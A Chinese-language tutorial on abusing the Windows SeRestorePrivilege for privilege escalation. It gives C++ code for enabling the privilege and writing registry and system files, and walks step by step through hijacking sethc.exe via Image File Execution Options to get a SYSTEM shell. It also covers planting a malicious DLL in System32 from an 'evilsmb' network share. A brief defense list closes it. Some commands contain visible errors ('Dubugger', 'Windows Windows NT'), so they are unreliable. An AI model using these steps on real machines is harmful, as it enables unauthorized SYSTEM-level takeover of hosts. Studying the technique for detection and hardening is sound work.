Token Privileges Abusing - SeRestorePrivilege
字数 1237 2025-08-06 12:21:08
SeRestorePrivilege 特权滥用分析与利用
1. SeRestorePrivilege 特权概述
SeRestorePrivilege 特权在 Microsoft 官方文档中被描述为"Restore files and directories",拥有该特权的任何进程被授予对系统上任何文件或对象的所有写访问控制,而不管为文件或对象指定的访问控制列表(ACL)。此外,此特权允许其持有进程或线程更改文件的所有者。
关键特性:
- 绕过文件/对象的ACL检查
- 可以修改文件所有者
- 需要配合特定的API标志使用
2. API 使用要求
在通过API利用此特权时,必须向支持的API提供相应的_BACKUP_标志:
CreateFile()函数需要指定FILE_FLAG_BACKUP_SEMANTICS标志RegCreateKeyEx()函数需要指定REG_OPTION_BACKUP_RESTORE标志
这些标志提示内核请求进程可能启用了SeBackupPrivilege或SeRestorePrivilege,并应无视ACL检查。
3. 特权提升利用方法
3.1 注册表修改(映像劫持)
利用该特权可以任意写入HKLM注册表实现特权提升。常用方法是使用Image File Execution Options键,用于在系统上调试软件。
原理:
当启动系统二进制文件时,如果在以下注册表位置中存在一个条目并且它包含一个调试器键值,它将执行设置的条目,实现映像劫持。
注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
经典利用:
劫持sethc.exe(粘滞键),在登录界面连按5次Shift键触发。
3.2 文件系统操作
其他利用方式包括:
- 将DLL放入系统文件夹中进行DLL劫持
- 覆盖关键系统资源
- 修改其他服务配置
4. 利用代码分析
4.1 启用SeRestorePrivilege
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
BOOL status = FALSE;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges;
// Get the LUID value of the privilege for the local system
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
return status;
}
// Set escalation information
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Elevate Process Token Access
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
return status;
}
else {
status = TRUE;
}
return status;
}
4.2 注册表劫持实现
// Creates the specified registry key.
lResult = RegCreateKeyExW(
HKEY_LOCAL_MACHINE,
std::wstring(L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\").append(program).c_str(),
0,
NULL,
REG_OPTION_BACKUP_RESTORE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL
);
// Sets the data and type of a specified value under a registry key.
lResult = RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, (const BYTE*)command, (wcslen(command) + 1) * sizeof(WCHAR));
4.3 文件操作实现
// Open source file with backup semantics
hSource = CreateFileW(sourceFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// Create destination file with backup semantics
hDestination = CreateFileW(destFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL);
// Read from source file
ReadFile(hSource, buffer, SIZE, &dwBytesRead, NULL);
// Write to destination file
WriteFile(hDestination, buffer, dwBytesRead, &dwBytesWrite, NULL);
5. 实际利用示例
5.1 映像劫持利用
- 编译并上传SeRestorePrivilege.exe到目标主机
- 执行以下命令:
SeRestorePrivilege.exe -e Dubugger -p sethc.exe -c C:\Windows\System32\cmd.exe - 在远程桌面登录界面连按5次Shift键获取SYSTEM权限的cmd
替代方法(使用reg命令):
reg add "HKLM\SOFTWARE\Microsoft\Windows Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
5.2 DLL劫持利用
- 制作恶意WptsExtensions.dll
- 将DLL放入共享文件夹
- 执行:
SeRestorePrivilege.exe -e File -s \\172.26.10.128\evilsmb\WptsExtensions.dll -d C:\Windows\System32\WptsExtensions.dll - 等待系统或服务重启,Task Scheduler服务加载恶意DLL获取SYSTEM权限
6. 防御建议
- 严格控制SeRestorePrivilege权限分配
- 监控关键注册表项的修改
- 启用Windows Defender等安全产品的注册表保护功能
- 定期审计系统特权账户和权限分配
- 对系统关键目录设置严格的ACL并启用审计
7. 总结
SeRestorePrivilege是一个强大的Windows特权,滥用它可以实现多种特权提升攻击。安全研究人员和系统管理员都应该充分了解其潜在风险,并采取适当措施防范此类攻击。